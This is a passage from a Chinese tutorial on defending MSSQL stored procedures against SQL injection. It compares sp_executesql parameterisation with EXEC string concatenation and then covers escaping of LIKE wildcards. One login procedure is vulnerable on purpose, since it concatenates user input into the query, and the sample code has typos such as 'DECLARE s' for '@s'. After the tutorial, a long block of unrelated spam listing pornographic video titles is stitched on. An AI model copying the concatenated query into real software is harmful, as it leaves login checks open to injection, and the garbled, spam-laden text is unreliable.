          cmd.CommandText=procName;// 傳遞存儲過程名cmd.CommandType=CommandType.StoredProcedure;// 標識解析為存儲過程


          如果在存儲過程中SQL語法很復雜需要根據邏輯進行拼接,這時是否還具有放注入的功能?

          答:MSSQL中可以通過 EXEC 和sp_executesql動態執行拼接的sql語句,但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數值, EXECUTE 語句不支持。所以只有使用sp_executesql方式才能啟到參數化防止SQL注入。

          關鍵代碼:

          a) sp_executesql

          CREATE PROCEDURE PROC_Login_executesql(@userNamenvarchar(10),@password nvarchar(10),@count int OUTPUT)ASBEGIN DECLARE s nvarchar(1000);set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password'; EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count outputEND


          b) EXECUTE(注意sql中拼接字符,對于字符參數需要額外包一層單引號,需要輸入兩個單引號來標識sql中的一個單引號)

          CREATE PROCEDURE PROC_Login_EXEC(@userNamenvarchar(10),@password varchar(20))ASBEGIN DECLARE s nvarchar(1000);set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';EXEC('DECLARE @count int;' +@s+'select @count');END


          注入截圖如下:



          6. 專業的SQL注入工具及防毒軟件


          情景1

          A:“丫的,又中毒了……”

          B:“我看看,你這不是裸機在跑嗎?”

          電腦上至少也要裝一款殺毒軟件或木馬掃描軟件,這樣可以避免一些常見的侵入。比如開篇提到的SQL創建windows帳戶,就會立馬報出警報。

          情景2

          A:“終于把網站做好了,太完美了,已經檢查過沒有漏洞了!”

          A:“網站怎么被黑了,怎么入侵的???”

          公司或個人有財力的話還是有必要購買一款專業SQL注入工具來驗證下自己的網站,這些工具畢竟是專業的安全人員研發,在安全領域都有自己的獨到之處。

          7. 額外小知識:LIKE中的通配符


          盡管這個不屬于SQL注入,但是其被惡意使用的方式是和SQL注入類似的。

          %包含零個或多個字符的任意字符串。_任何單個字符。[]指定范圍(例如 [a-f])或集合(例如 [abcdef])內的任何單個字符。[^]不在指定范圍(例如 [^a – f])或集合(例如 [^abcdef])內的任何單個字符。


          在模糊查詢LIKE中,對于輸入數據中的通配符必須轉義,否則會造成客戶想查詢包含這些特殊字符的數據時,這些特殊字符卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。

          注意使用通配符的索引性能問題:

          a) like的第一個字符是‘%’或‘_’時,為未知字符不會使用索引, sql會遍歷全表。

          b) 若通配符放在已知字符后面,會使用索引。

          網上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執行語法查看索引使用情況卻都沒有使用索引,可能在別的數據庫中會使用到索引吧……

          截圖如下:


          有兩種將通配符轉義為普通字符的方法:

          1) 使用ESCAPE關鍵字定義轉義符(通用)

          在模式中,當轉義符置于通配符之前時,該通配符就解釋為普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,請使用:

          WHERE ColumnA LIKE ‘%5/%%’ ESCAPE ‘/’

          2) 在方括號 ([ ]) 中只包含通配符本身,或要搜索破折號(-) 而不是用它指定搜索范圍,請將破折號指定為方括號內的第一個字符。EG:

          所以,進行過輸入參數的關鍵字過濾后,還需要做下面轉換確保LIKE的正確執行


          主站蜘蛛池模板: 色综合视频一区二区三区44| 一区国产传媒国产精品| A国产一区二区免费入口| 亚洲一区二区三区四区在线观看| 国产一区二区三区免费视频| 国产大秀视频在线一区二区| 久久免费国产精品一区二区| 国产婷婷一区二区三区| 亚洲爽爽一区二区三区| 久久综合精品国产一区二区三区| 日韩动漫av在线播放一区| 日本一区二区在线免费观看| 性色av闺蜜一区二区三区| 精品国产一区二区三区色欲| 国产日韩精品视频一区二区三区| 国模吧无码一区二区三区| 精品视频一区二区三区免费| 亚洲国产精品一区二区成人片国内 | 亚洲色偷精品一区二区三区| 国产在线一区二区三区| 国产丝袜视频一区二区三区| 国精品无码一区二区三区在线蜜臀| 福利一区国产原创多挂探花| 一区视频在线播放| 亚洲国产综合精品中文第一区| 91精品国产一区| 伊人久久精品无码麻豆一区| 激情久久av一区av二区av三区 | 亚洲AV无码一区二区三区久久精品 | 国产激情з∠视频一区二区| 久久精品国产免费一区| 亚洲一区二区三区不卡在线播放 | 91在线精品亚洲一区二区| 精品一区二区三区在线观看视频 | 久久毛片一区二区| 无码AV一区二区三区无码| 无码人妻一区二区三区在线视频| 一区二区三区在线观看| 一本大道东京热无码一区 | 成人免费av一区二区三区| 久久久老熟女一区二区三区|